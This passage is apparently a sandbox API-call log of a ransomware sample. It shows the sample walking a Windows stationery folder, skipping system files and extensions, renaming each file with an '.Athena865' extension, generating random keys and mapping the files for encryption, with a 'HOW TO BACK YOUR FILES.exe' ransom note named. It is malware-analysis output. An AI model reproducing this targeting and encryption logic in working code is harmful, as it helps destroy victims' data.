ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0116.724] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.724] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.724] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Pretty_Peacock.jpg" | out: lpString1="Pretty_Peacock.jpg") returned="Pretty_Peacock.jpg" [0116.724] lstrlenW (lpString="Pretty_Peacock.jpg") returned 18 [0116.724] lstrlenW (lpString="Athena865") returned 9 [0116.725] lstrcmpiW (lpString1="acock.jpg", lpString2="Athena865") returned -1 [0116.725] lstrlenW (lpString=".dll") returned 4 [0116.725] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2=".dll") returned 1 [0116.725] lstrlenW (lpString=".lnk") returned 4 [0116.725] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2=".lnk") returned 1 [0116.725] lstrlenW (lpString=".ini") returned 4 [0116.725] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2=".ini") returned 1 [0116.725] lstrlenW (lpString=".sys") returned 4 [0116.725] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2=".sys") returned 1 [0116.725] lstrlenW (lpString="Pretty_Peacock.jpg") returned 18 [0116.725] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.Athena865") returned 86 [0116.725] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.athena865"), dwFlags=0x1) returned 1 [0116.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.726] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5115) returned 1 [0116.726] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.727] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.727] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.727] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1700, lpName=0x0) returned 0x154 [0116.728] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1700) returned 0x100000 [0116.729] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.730] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.730] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.730] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0116.730] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.730] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.730] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Psychedelic.jpg" | out: lpString1="Psychedelic.jpg") returned="Psychedelic.jpg" [0116.730] lstrlenW (lpString="Psychedelic.jpg") returned 15 [0116.731] lstrlenW (lpString="Athena865") returned 9 [0116.731] lstrcmpiW (lpString1="delic.jpg", lpString2="Athena865") returned 1 [0116.731] lstrlenW (lpString=".dll") returned 4 [0116.731] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2=".dll") returned 1 [0116.731] lstrlenW (lpString=".lnk") returned 4 [0116.731] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2=".lnk") returned 1 [0116.731] lstrlenW (lpString=".ini") returned 4 [0116.731] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2=".ini") returned 1 [0116.731] lstrlenW (lpString=".sys") returned 4 [0116.731] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2=".sys") returned 1 [0116.731] lstrlenW (lpString="Psychedelic.jpg") returned 15 [0116.731] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.Athena865") returned 83 [0116.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg.athena865"), dwFlags=0x1) returned 1 [0116.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.732] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14049) returned 1 [0116.732] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.733] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.733] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.733] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39f0, lpName=0x0) returned 0x154 [0116.734] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39f0) returned 0x100000 [0116.735] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.736] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.736] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.737] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0116.737] lstrcmpiW (lpString1="Roses.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.737] lstrcmpiW (lpString1="Roses.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.737] lstrcmpiW (lpString1="Roses.htm", lpString2=".") returned 1 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2="..") returned 1 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2="windows") returned -1 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2="bootmgr") returned 1 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2="temp") returned -1 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2="pagefile.sys") returned 1 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2="boot") returned 1 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2="ids.txt") returned 1 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2="ntuser.dat") returned 1 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2="perflogs") returned 1 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2="MSBuild") returned 1 [0116.738] lstrlenW (lpString="Roses.htm") returned 9 [0116.738] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Roses.htm" | out: lpString1="Roses.htm") returned="Roses.htm" [0116.738] lstrlenW (lpString="Roses.htm") returned 9 [0116.738] lstrlenW (lpString="Athena865") returned 9 [0116.738] lstrlenW (lpString=".dll") returned 4 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2=".dll") returned 1 [0116.738] lstrlenW (lpString=".lnk") returned 4 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2=".lnk") returned 1 [0116.738] lstrlenW (lpString=".ini") returned 4 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2=".ini") returned 1 [0116.738] lstrlenW (lpString=".sys") returned 4 [0116.738] lstrcmpiW (lpString1="Roses.htm", lpString2=".sys") returned 1 [0116.738] lstrlenW (lpString="Roses.htm") returned 9 [0116.738] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0116.739] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.Athena865") returned 77 [0116.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.athena865"), dwFlags=0x1) returned 1 [0116.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.740] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=233) returned 1 [0116.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.740] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.741] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.741] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.741] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x154 [0116.744] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000 [0116.745] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.747] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.747] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.750] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2=".") returned 1 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2="..") returned 1 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2="windows") returned -1 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2="bootmgr") returned 1 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2="temp") returned -1 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2="pagefile.sys") returned 1 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2="boot") returned 1 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2="ids.txt") returned 1 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2="ntuser.dat") returned 1 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2="perflogs") returned 1 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2="MSBuild") returned 1 [0116.750] lstrlenW (lpString="Roses.jpg") returned 9 [0116.750] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Roses.jpg" | out: lpString1="Roses.jpg") returned="Roses.jpg" [0116.750] lstrlenW (lpString="Roses.jpg") returned 9 [0116.750] lstrlenW (lpString="Athena865") returned 9 [0116.750] lstrlenW (lpString=".dll") returned 4 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2=".dll") returned 1 [0116.750] lstrlenW (lpString=".lnk") returned 4 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2=".lnk") returned 1 [0116.750] lstrlenW (lpString=".ini") returned 4 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2=".ini") returned 1 [0116.750] lstrlenW (lpString=".sys") returned 4 [0116.750] lstrcmpiW (lpString1="Roses.jpg", lpString2=".sys") returned 1 [0116.750] lstrlenW (lpString="Roses.jpg") returned 9 [0116.750] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.Athena865") returned 77 [0116.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.athena865"), dwFlags=0x1) returned 1 [0116.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.752] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1920) returned 1 [0116.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.752] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.753] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.753] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.753] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa80, lpName=0x0) returned 0x154 [0116.754] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa80) returned 0x100000 [0116.758] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.758] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.758] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.759] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0116.759] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.759] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.759] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2=".") returned 1 [0116.759] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="..") returned 1 [0116.759] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="windows") returned -1 [0116.759] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="bootmgr") returned 1 [0116.759] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="temp") returned -1 [0116.759] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="pagefile.sys") returned 1 [0116.759] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="boot") returned 1 [0116.759] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="ids.txt") returned 1 [0116.759] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="ntuser.dat") returned 1 [0116.759] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="perflogs") returned 1 [0116.759] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2="MSBuild") returned 1 [0116.759] lstrlenW (lpString="Sand_Paper.jpg") returned 14 [0116.759] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Sand_Paper.jpg" | out: lpString1="Sand_Paper.jpg") returned="Sand_Paper.jpg" [0116.759] lstrlenW (lpString="Sand_Paper.jpg") returned 14 [0116.759] lstrlenW (lpString="Athena865") returned 9 [0116.759] lstrcmpiW (lpString1="Paper.jpg", lpString2="Athena865") returned 1 [0116.760] lstrlenW (lpString=".dll") returned 4 [0116.760] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2=".dll") returned 1 [0116.760] lstrlenW (lpString=".lnk") returned 4 [0116.760] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2=".lnk") returned 1 [0116.760] lstrlenW (lpString=".ini") returned 4 [0116.760] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2=".ini") returned 1 [0116.760] lstrlenW (lpString=".sys") returned 4 [0116.760] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2=".sys") returned 1 [0116.760] lstrlenW (lpString="Sand_Paper.jpg") returned 14 [0116.760] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.Athena865") returned 82 [0116.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg.athena865"), dwFlags=0x1) returned 1 [0116.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.761] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15776) returned 1 [0116.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.761] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.762] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.762] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.762] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40a0, lpName=0x0) returned 0x154 [0116.766] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40a0) returned 0x100000 [0116.771] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.772] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.772] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.772] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0116.772] lstrcmpiW (lpString1="Seyes.emf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.772] lstrcmpiW (lpString1="Seyes.emf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.772] lstrcmpiW (lpString1="Seyes.emf", lpString2=".") returned 1 [0116.772] lstrcmpiW (lpString1="Seyes.emf", lpString2="..") returned 1 [0116.772] lstrcmpiW (lpString1="Seyes.emf", lpString2="windows") returned -1 [0116.772] lstrcmpiW (lpString1="Seyes.emf", lpString2="bootmgr") returned 1 [0116.772] lstrcmpiW (lpString1="Seyes.emf", lpString2="temp") returned -1 [0116.772] lstrcmpiW (lpString1="Seyes.emf", lpString2="pagefile.sys") returned 1 [0116.772] lstrcmpiW (lpString1="Seyes.emf", lpString2="boot") returned 1 [0116.772] lstrcmpiW (lpString1="Seyes.emf", lpString2="ids.txt") returned 1 [0116.773] lstrcmpiW (lpString1="Seyes.emf", lpString2="ntuser.dat") returned 1 [0116.773] lstrcmpiW (lpString1="Seyes.emf", lpString2="perflogs") returned 1 [0116.773] lstrcmpiW (lpString1="Seyes.emf", lpString2="MSBuild") returned 1 [0116.773] lstrlenW (lpString="Seyes.emf") returned 9 [0116.773] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Seyes.emf" | out: lpString1="Seyes.emf") returned="Seyes.emf" [0116.773] lstrlenW (lpString="Seyes.emf") returned 9 [0116.773] lstrlenW (lpString="Athena865") returned 9 [0116.773] lstrlenW (lpString=".dll") returned 4 [0116.773] lstrcmpiW (lpString1="Seyes.emf", lpString2=".dll") returned 1 [0116.773] lstrlenW (lpString=".lnk") returned 4 [0116.773] lstrcmpiW (lpString1="Seyes.emf", lpString2=".lnk") returned 1 [0116.773] lstrlenW (lpString=".ini") returned 4 [0116.773] lstrcmpiW (lpString1="Seyes.emf", lpString2=".ini") returned 1 [0116.773] lstrlenW (lpString=".sys") returned 4 [0116.773] lstrcmpiW (lpString1="Seyes.emf", lpString2=".sys") returned 1 [0116.773] lstrlenW (lpString="Seyes.emf") returned 9 [0116.773] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.Athena865") returned 77 [0116.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf.athena865"), dwFlags=0x1) returned 1 [0116.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.779] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37316) returned 1 [0116.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.779] 